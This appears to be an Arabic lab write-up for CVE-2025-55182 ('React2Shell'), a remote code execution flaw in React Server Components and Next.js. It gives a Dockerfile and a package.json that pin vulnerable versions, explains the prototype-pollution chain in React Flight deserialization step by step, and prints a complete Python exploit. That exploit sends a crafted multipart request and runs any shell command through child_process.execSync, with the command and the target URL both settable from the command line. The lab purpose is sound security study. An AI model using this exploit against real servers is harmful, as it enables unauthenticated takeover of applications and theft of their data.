
المعروف أيضًا باسم React2Shell
الأقسام المطلوبة وفقًا لإرشادات المهمة مُعلَّمة بعلامة “(مطلوب)”.
تستخدم هذه البيئة ملف Dockerfile مخصصًا مبنيًا على صورة Node.js Alpine الرسمية.
FROM node:20-alpine
WORKDIR /app
COPY package.json ./
RUN npm install --legacy-peer-deps
COPY . .
EXPOSE 3000
CMD ["npm", "run", "dev"]
يبني ملف Dockerfile بيئة هشّة لـ React Server Components (RSC) و Next.js App Router.
تقوم البيئة بتثبيت إصدارات هشّة من:
يعمل الخادم الهش في وضع التطوير باستخدام npm run dev.
يعمل الخادم الهش في وضع التطوير باستخدام npm run dev.
تعمل البيئة وفق البنية التالية:
[Attacker / exploit.py]
↓
[Next.js App Router]
↓
[React Flight Protocol Parser]
↓
[React Server Components Runtime]
↓
[Node.js Runtime]
يرسل المهاجم طلب multipart/form-data مصممًا بعناية إلى تطبيق Next.js الهش.
تستغل الحمولة الخبيثة عملية إلغاء تسلسل بروتوكول React Flight.
يستخدم التطبيق الهش بنية Next.js App Router.
تتم معالجة الطلب عبر خط أنابيب React Server Components.
يُخزَّن الكود المصدري للتطبيق داخل دليل src/app/.
src/
└── app/
├── layout.js
└── page.js
يعرّف ملف layout.js التخطيط الجذري المطلوب لبنية App Router ويُهيئ بيئة React Server Components.
export default function RootLayout({ children }) {
return (<html><body>{children}</body></html>);
}
يعرّف ملف page.js الصفحة الجذرية المعروضة في / ويعرض رسالة بسيطة تشير إلى أن الخادم الهش يعمل.
export default function Page() {
return (<h1>Vulnerable Server</h1>);
}
تتم إدارة تبعيات المشروع وسكربتات التشغيل عبر ملف package.json.
{
"name": "cve-2025-55182-vuln-app",
"version": "1.0.0",
"private": true,
"scripts": {
"dev": "next dev -p 3000"
},
"dependencies": {
"next": "15.0.0",
"react": "19.0.0-rc-65a56d0e-20241020",
"react-dom": "19.0.0-rc-65a56d0e-20241020",
"react-server-dom-webpack": "19.0.0-rc-65a56d0e-20241020"
}
}
يعرّف هذا الملف إصدارات هشّة من:
يتم تنفيذ التطبيق الهش باستخدام:
"scripts": {
"dev": "next dev"
}
يتم تشغيل الخادم عبر:
npm run dev
وهو ما يشغّل خادم تطوير Next.js الهش على المنفذ 3000.
يقوم بروتوكول Flight بإلغاء تسلسل كائنات React المعقدة مثل:
تحدث الثغرة أثناء عملية إلغاء التسلسل هذه.
تعالج بيئة تشغيل React حمولات Flight التي يتحكم فيها المهاجم.
يسمح التنقل غير الآمن عبر الخصائص والوصول إلى النموذج الأولي للمهاجمين في النهاية باختطاف مُنشئ الدالة Function.
بعد الاستغلال الناجح، يتم تنفيذ كود JavaScript عشوائي داخل بيئة خادم Node.js.
يؤدي هذا إلى تنفيذ كود عن بُعد (RCE).
| المكوّن | الإصدار |
|---|---|
| Node.js | 20-alpine |
| Next.js | 15.0.0 |
| React | 19.0.0-rc |
| react-dom | 19.0.0-rc |
تستخدم البيئة تطبيقات هشّة من React Server Components وبروتوكول Flight.
CVE-2025-55182، المعروفة أيضًا باسم React2Shell، هي ثغرة حرجة لتنفيذ الكود عن بُعد (RCE) تؤثر على React Server Components وبروتوكول React Flight.
تحدث الثغرة أثناء عملية إلغاء تسلسل حمولات بروتوكول Flight التي يتحكم فيها المهاجم.
تسمح المشكلة للمهاجمين بـ:
تعتبر الثغرة خطيرة بشكل خاص لأن الاستغلال يمكن أن يحدث دون مصادقة باستخدام طلب HTTP واحد مصمم بعناية.
التطبيقات التي تستخدم إصدارات هشّة من React Server Components وإعدادات Next.js App Router معرّضة مباشرة للخطر.
السبب الجذري للثغرة هو التعامل غير الآمن مع مراجع الكائنات التي يتحكم فيها المهاجم أثناء إلغاء تسلسل بروتوكول Flight.
يستخدم React Flight داخليًا سلاسل مراجع خاصة مثل:
$@0
$B1337
$1:__proto__:then
يتم حل هذه المراجع بشكل تكراري أثناء إلغاء التسلسل.
ينفذ المنطق الهش تنقلًا عبر الخصائص مشابهًا لما يلي:
value[path[i]]
دون التحقق مما إذا كانت الخاصية تنتمي إلى الكائن نفسه.
ونتيجة لذلك، يمكن للمهاجمين الوصول إلى خصائص خطيرة في سلسلة النموذج الأولي في JavaScript مثل:
__proto__
constructor
prototype
يسمح هذا في النهاية بتلويث النموذج الأولي واختطاف مُنشئ الدالة Function.
ينشئ المهاجم أولاً كائن chunk مزيفًا لـ React.
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "touch /tmp/success.txt",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
الحقل الحرج هو:
"status": "resolved_model"
تثق بيئة تشغيل React بشكل خاطئ في هذا الحقل وتتعامل مع الكائن الذي يتحكم فيه المهاجم ككائن chunk داخلي شرعي.
الحمولة:
$1:__proto__:then
تجعل أداة إلغاء التسلسل تتنقل عبر سلسلة النموذج الأولي في JavaScript.
نظرًا لأن الكود الهش لا يتحقق من الخصائص الخطيرة، يحصل المهاجم على وصول إلى:
Chunk.prototype.then
يحوّل هذا كائن chunk المزيف إلى كائن thenable.
الحمولة:
$1:constructor:constructor
تُحل في النهاية إلى:
Function
يستبدل هذا:
response._formData.get
بمُنشئ الدالة Function العام في JavaScript.
ونتيجة لذلك:
Function(attacker_controlled_payload)
يصبح ممكنًا.
الحمولة:
$B1337
تدفع محلل React Flight إلى منطق تحليل Blob.
خلال هذه العملية:
response._formData.get(...)
يتم تنفيذه.
ومع ذلك، قام المهاجم بالفعل باستبدال هذه الدالة بمُنشئ الدالة Function العام.
يؤدي هذا أخيرًا إلى تنفيذ JavaScript عشوائي داخل بيئة تشغيل Node.js.
تحدث عملية الاستغلال بالترتيب التالي:
Attacker Request
↓
Flight Payload Parsing
↓
Fake Chunk Creation
↓
Prototype Pollution
↓
Function Constructor Hijacking
↓
Blob Parsing Trigger
↓
Promise Resolution
↓
Remote Code Execution
يرسل المهاجم أولاً طلب Flight متعدد الأجزاء مصممًا بعناية.
يقوم الخادم الهش بإلغاء تسلسل الحمولة الخبيثة ويحل المراجع التي يتحكم فيها المهاجم بشكل تكراري.
يسمح التنقل غير الآمن عبر النموذج الأولي للمهاجم في النهاية باختطاف مُنشئ الدالة Function.
أثناء حل الوعود (Promise) وتحليل Blob، يتم تنفيذ كود JavaScript عشوائي.
يسمح الاستغلال الناجح للمهاجمين بتنفيذ كود JavaScript عشوائي داخل بيئة خادم Node.js.
في هذه البيئة، ينفذ الاستغلال:
touch /tmp/success.txt
يتم التحقق من نجاح الاستغلال عند وجود الملف التالي داخل الحاوية:
/tmp/success.txt
في البيئات الحقيقية، يمكن للمهاجمين:
تعتبر الثغرة خطيرة بشكل خاص لأنها تؤثر على البنية الداخلية لإطار عمل React بدلاً من منطق الأعمال الخاص بالتطبيق.
وهذا يعني أن عددًا كبيرًا من التطبيقات قد يصبح هشًا بمجرد استخدام إصدارات متأثرة من الإطار.
تمت كتابة إثبات المفهوم (PoC) بلغة Python.
يرسل الاستغلال طلب multipart/form-data خبيثًا مباشرة إلى تطبيق Next.js الهش.
ينفذ PoC الإجراءات التالية:
import requests
import sys
def exploit_rce(url, command):
headers = {
"Host": "localhost",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
"Next-Action": "x",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
}
payload_json = (
'{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
'"value":"{\\"then\\":\\"$B1337\\"}","_response":{'
f'"_prefix":"process.mainModule.require(\'child_process\').execSync(\'{command}\');",'
'"_formData":{"get":"$1:constructor:constructor"}}}'
)
data = (
"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
"Content-Disposition: form-data; name=\"0\"\r\n"
"\r\n"
f"{payload_json}\r\n"
"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
"Content-Disposition: form-data; name=\"1\"\r\n"
"\r\n"
"\"$@0\"\r\n"
"------WebKitFormBoundaryx8jO2oVc6SWP3Sad--\r\n"
)
try:
print(f"[*] Sending RCE payload to {url}...")
print(f"[*] Command: {command}")
response = requests.post(url, headers=headers, data=data, timeout=10)
print(f"[*] Status Code: {response.status_code}")
print(f"[*] Response Body Preview: {response.text[:500]}")
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
target_url = "http://localhost:3000"
cmd = "touch /tmp/success.txt"
if len(sys.argv) > 1:
cmd = sys.argv[1]
if len(sys.argv) > 2:
target_url = sys.argv[2]
exploit_rce(target_url, cmd)
تستخدم حمولة الاستغلال مراجع متعددة مصممة بعناية لبروتوكول Flight.
$1:__proto__:then| الجزء | الغرض |
|---|---|
$1 | يشير إلى chunk 1 |
__proto__ | يتنقل عبر سلسلة النموذج الأولي |
then | يسترجع Chunk.prototype.then |
تحوّل هذه الحمولة كائن chunk المزيف إلى كائن thenable.
$1:constructor:constructor| الجزء | الغرض |
|---|---|
$1 | يشير إلى chunk 1 |
constructor | يصل إلى مُنشئ الكائن |
constructor | يُحل إلى مُنشئ الدالة Function العام |
تختطف هذه الحمولة مُنشئ الدالة Function في JavaScript.
$B1337تفرض البادئة $B على محلل Flight الدخول إلى منطق تحليل Blob.
خلال هذه العملية:
response._formData.get(...)
يتم تنفيذه.
نظرًا لأن المهاجم استبدل هذه الطريقة بالفعل بمُنشئ الدالة Function، يتم تنفيذ كود JavaScript عشوائي.
$@0تنشئ هذه الحمولة مرجع chunk دائريًا.
يشير chunk 1 في النهاية إلى chunk 0 مرة أخرى.
يسمح هذا الهيكل لأداة إلغاء التسلسل باستخدام كائن chunk المزيف الذي يتحكم فيه المهاجم أثناء التنقل عبر النموذج الأولي.
ينشئ الاستغلال أولاً حدًا عشوائيًا متعدد الأجزاء.
boundary = "----WebKitFormBoundary" + uuid.uuid4().hex
هذا مطلوب لإنشاء طلب multipart/form-data صالح.
يبني الاستغلال كائن chunk مزيفًا خبيثًا.
"status":"resolved_model"
يجعل هذا بيئة تشغيل React تتعامل مع الكائن الذي يتحكم فيه المهاجم ككائن chunk داخلي صالح.
الحمولة التالية:
$1:__proto__:then
تجبر المحلل الهش على التنقل عبر سلسلة النموذج الأولي في JavaScript.
الحمولة التالية:
$1:constructor:constructor
تستبدل طريقة get الداخلية بمُنشئ الدالة Function في JavaScript.
الحمولة:
require('child_process').execSync('touch /tmp/success.txt')
يتم تنفيذها في النهاية داخل بيئة تشغيل Node.js.
ينشئ الاستغلال الناجح:
/tmp/success.txt
داخل الحاوية الهشّة.
يُلخص سير الاستغلال الكامل أدناه:
Start Docker Environment
↓
Run Vulnerable Next.js Server
↓
Execute exploit.py
↓
Send Malicious Flight Payload
↓
Trigger Prototype Pollution
↓
Hijack Function Constructor
↓
Trigger Blob Parsing
↓
Execute Arbitrary Code
↓
Verify /tmp/success.txt
قم ببناء صورة Docker.
docker build -t rsc-vuln .
قم بتشغيل الحاوية الهشّة.
docker run -d -p 3000:3000 --name my-vuln-server rsc-vuln
سيعمل خادم Next.js الهش على:
http://127.0.0.1:3000
قم بتنفيذ سكربت PoC.
python3 exploit.py
يرسل الاستغلال حمولة React Flight خبيثة إلى خادم Next.js الهش.
تحقق مما إذا كان الاستغلال قد أنشأ الملف المستهدف بنجاح.
docker exec -it my-vuln-server ls -la /tmp/success.txt
يؤكد الاستغلال الناجح حدوث تنفيذ كود عشوائي داخل الحاوية الهشّة.
أثناء الاستغلال الناجح، يجب أن يطلق الاستغلال عملية إلغاء تسلسل React Flight والتنقل عبر النموذج الأولي.
يعالج الخادم الهش حمولة Flight الخبيثة وينفذ كود JavaScript الذي يتحكم فيه المهاجم.
يتم تأكيد نجاح الاستغلال عند وجود الملف التالي:
/tmp/success.txt
مثال على المخرجات:
-rw-r--r-- 1 root root 0 Jan 1 00:00 /tmp/success.txt
يؤكد هذا أن أوامر عشوائية تم تنفيذها بنجاح داخل بيئة Node.js الهشّة.
تم تضمين لقطات الشاشة التالية في دليل screenshots/:


| react-server-dom-webpack |
| 19.0.0-rc |